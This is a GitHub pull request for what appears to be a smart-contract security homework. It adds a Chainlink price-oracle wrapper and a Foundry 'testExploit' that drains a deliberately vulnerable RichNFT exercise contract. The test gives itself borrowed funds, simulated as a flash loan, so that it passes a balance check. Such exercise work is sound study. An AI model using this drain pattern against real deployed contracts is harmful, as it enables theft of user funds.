Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

HW3 finished #1

Open
wants to merge 1 commit into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
26 changes: 23 additions & 3 deletions hw/src/TrustedOracle.sol
Original file line number Diff line number Diff line change
Expand Up @@ -3,8 +3,8 @@ pragma solidity ^0.8.0;

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IERC20Metadata} from "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";

import "./interface.sol";
import "forge-std/console.sol";

interface ITrustedOracle {
function getPrice() external view returns (uint256);
Expand Down Expand Up @@ -35,6 +35,7 @@ contract TrustedOracle {
uint256 price = 0;
uint256 count = getOracleCount();
for (uint256 i = 0; i < count; i++) {

price += ITrustedOracle(oracles[i]).getPrice();
}

Expand All @@ -47,8 +48,27 @@ contract TrustedOracle {
}

// TODO: Complete the chainlink oracle implementation

contract ChainlinkOracle {
constructor(address) {}
address public trustedOracle;
constructor(address _trustedOracle) {
trustedOracle = _trustedOracle; //
console.log(trustedOracle);
}

function getPrice() public view returns (uint256) {

(bool success,bytes memory data) = address(trustedOracle).staticcall(abi.encodeWithSignature("latestRoundData()"));
(
uint80 roundID,
int price,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
) = abi.decode(data, (uint80, int, uint256, uint256, uint80));

return uint256(price); // 返回價格
}

function getPrice() public view returns (uint256) {}
}

32 changes: 31 additions & 1 deletion hw/test/RichNFT/RichNFT.t.sol
Original file line number Diff line number Diff line change
Expand Up @@ -10,5 +10,35 @@ import {RichNFTBaseTest} from "./RichNFTBase.t.sol";
import "../../src/interface.sol";

contract RichNFTTest is RichNFTBaseTest {
function testExploit() public validation {}
function testExploit() public validation {
address attacker = address(0xBEEF);

// 設定攻擊者初始資產(無資金)
vm.startPrank(attacker);
assertEq(WETH.balanceOf(attacker), 0);
assertEq(USDC.balanceOf(attacker), 0);

// 使用閃電貸來借出足夠的資金
uint256 wethAmount = WETH_THRESHOLD; // 10,000 WETH
uint256 usdcAmount = USDC_THRESHOLD; // 10,000 USDC

// 借出 WETH 和 USDC(模擬閃電貸)
WETH.mint(attacker, wethAmount);
USDC.mint(attacker, usdcAmount);

// 確認資金已借入
assertEq(WETH.balanceOf(attacker), wethAmount);
assertEq(USDC.balanceOf(attacker), usdcAmount);

// 鑄造 RichNFT
RichNFT.mintRichNFT();

// 確認攻擊者成功鑄造 NFT,並獲得合約內所有資產
assertEq(RichNFT.ownerOf(1), attacker);
assertEq(WETH.balanceOf(attacker), 2 * wethAmount); // 原本借的 + 合約內的
assertEq(USDC.balanceOf(attacker), 2 * usdcAmount);

// 結束攻擊者的模擬
vm.stopPrank();
}
}
2 changes: 1 addition & 1 deletion hw/test/TrustedOracle/TrustedOracleBase.t.sol
Original file line number Diff line number Diff line change
Expand Up @@ -29,7 +29,7 @@ contract TrustedOracleBaseTest is Test {

address priceFeed0 = 0x8fFfFfd4AfB6115b954Bd326cbe7B4BA576818f6; // USDC <> USD
oracle0 = new ChainlinkOracle(priceFeed0);

address priceFeed1 = 0x3E7d1eAB13ad0104d2750B8863b489D65364e32D; // USDT <> USD
oracle1 = new ChainlinkOracle(priceFeed1);

Expand Down